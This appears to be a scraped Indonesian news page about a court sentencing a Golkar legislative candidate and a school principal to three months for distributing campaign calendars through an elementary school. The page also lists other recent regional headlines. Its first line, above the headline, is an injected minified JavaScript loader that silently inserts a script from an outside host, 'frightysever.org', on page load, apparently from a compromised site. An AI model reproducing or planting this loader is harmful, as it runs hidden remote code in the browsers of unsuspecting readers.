(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Palu Hakim Antar Vonis 3 Bulan Penjara untuk Caleg Golkar dan Kepala Sekolah


Awal Mula

Pada hari Akhir Otober 2018 lalu, Rizali Hadi selaku caleg DPRD Banjarbaru menyerahkan kurang lebih 200 lembar kalender akademik yang memuat foto dan ajakan untuk mencoblos dirinya. Kalender akademik tersebut dibungkus dalam karung warna putih dan meminta Nurdin selaku Kepala SDN 2 Guntung Manggis untuk membagikan di komplek perumahan sekitar dan sekolah.

Mendengar permohonan tersebut, Nurdin menyanggupinya karena hubungan baik dan telah lama kenal. Sebab Rizali juga dikenal sebagai Pembina Program Adiwiyata pendidikan Kota Banjarbaru yang sering melakukan pembinaan mengenai program Adiwiyata di sekolah-sekolah yang ada di Banjarbaru, termasuk di SDN 2 Guntung Manggis.

Setelah menerima kalender yang dibungkus dalam karung warna putih tersebut, selanjutnya Nurdin yang sesampainya di sekolahan kemudian menyerahkan kalender tersebut kepada para guru untuk dibagikan kepada para siswa.

Hal ini pun menjadi perhatian orang tua siswa, yang merasa bahwa Kalender tersebut bukan kalender pendidikan semestinya. Kalender ini lebih mengarah kepada pemilun nanti untuk memilih caleg yang bersangkutan bukan Kalender akademik pendidikan Kota Banjarbaru Tahun 2018/2019.

Kasus Pertama di Kalsel
Sementara itu, Komisioner Bawaslu Kalsel Azhar ‘Aldo’ Ridhanie mengatakan, pihaknya akan membahas upaya hukum lewat rapat terakhir. Hal ini pun menjadi bahan evaluasi Bawaslu untuk menangani kasus-kasus serupa. “Kita akan melakukan rapat pembahasan ke empat dalam 1 x 24 jam, ini rapat yang terkahir terkait melakukan banding,” katanya.

Menjadi kasus pertama di Kalsel, Komosioner Bawaslu ini mengatakan para Caleg harus taat aturan dan memahami serta mengetahui bagaimana mekanisme kampanye sesuai dengan peraturan Perundangan yang berlaku. “Kami Bawaslu kalsel beserta jajaran akan selalu mengawasi dan melekat. Jadi penting bagi para caleg untuk mengetahui dan memahami undang-undang yang berlaku,” lanjutnya. (rico)


Reporter: Rico
Editor: Chell

Page: 1 2

Desy Arfianty

Recent Posts

Upayakan Kawasan Kubah yang Rapi dan Tertata, Pemkab Banjar Berdialog dengan Puluhan Pedagang

KANALKALIMANTAN.COM, MARTAPURA - Guna memberikan kenyamanan kepada peziarah dan kebersihan serta kerapian lingkungan di kawasan… Read More

19 jam ago

PUPR Kalsel Gelar Sosialisasi Jakstrada Bersama Perwakilan 13 Kabupaten dan Kota

KANALKALIMANTAN.COM, BANJARBARU - Sosialisasi Kebijakan dan Strategi Daerah (Jakstrada) Tahun 2026 bertema “Kolaborasi Pengelolaan Sanitasi… Read More

20 jam ago

Bupati Banjar Terima Kunjungan Manajer BSI Kalselteng

KANALKALIMANTAN.COM, MARTAPURA – Jajaran Bank Syariah Indonesia (BSI) Cabang Martapura melakukan audiensi ke Bupati Banjar… Read More

21 jam ago

Cemari Lingkungan, Komisi III DPRD Banjarbaru Cek SPPG ‘Merah’

KANALKALIMANTAN.COM, BANJARBARU - Komisi III DPRD Banjarbaru meninjau Satuan Pemenuhan Pelayanan Gizi (SPPG) yang diduga… Read More

22 jam ago

‎TPA Al Ikhlas Dapat Sentuhan Satgas TMMD Kodim 1001

KANALKALIMANTAI.COM, AMUNTAI – Taman Pendidikan Al Qur’an (TPA) Al Ikhlas Desa Hambuku Hulu, Kecamatan Sungai… Read More

23 jam ago

Nenek Jumiati Haru Rumah Tinggalnya Diperbaiki TNI

KANALKALIMANTAN.COM, AMUNTAI - Nenek Jumiati, warga Desa Hambuku Hulu, Kecamatan Sungai Pandan, Kabupaten Hulu Sungai… Read More

24 jam ago

This website uses cookies.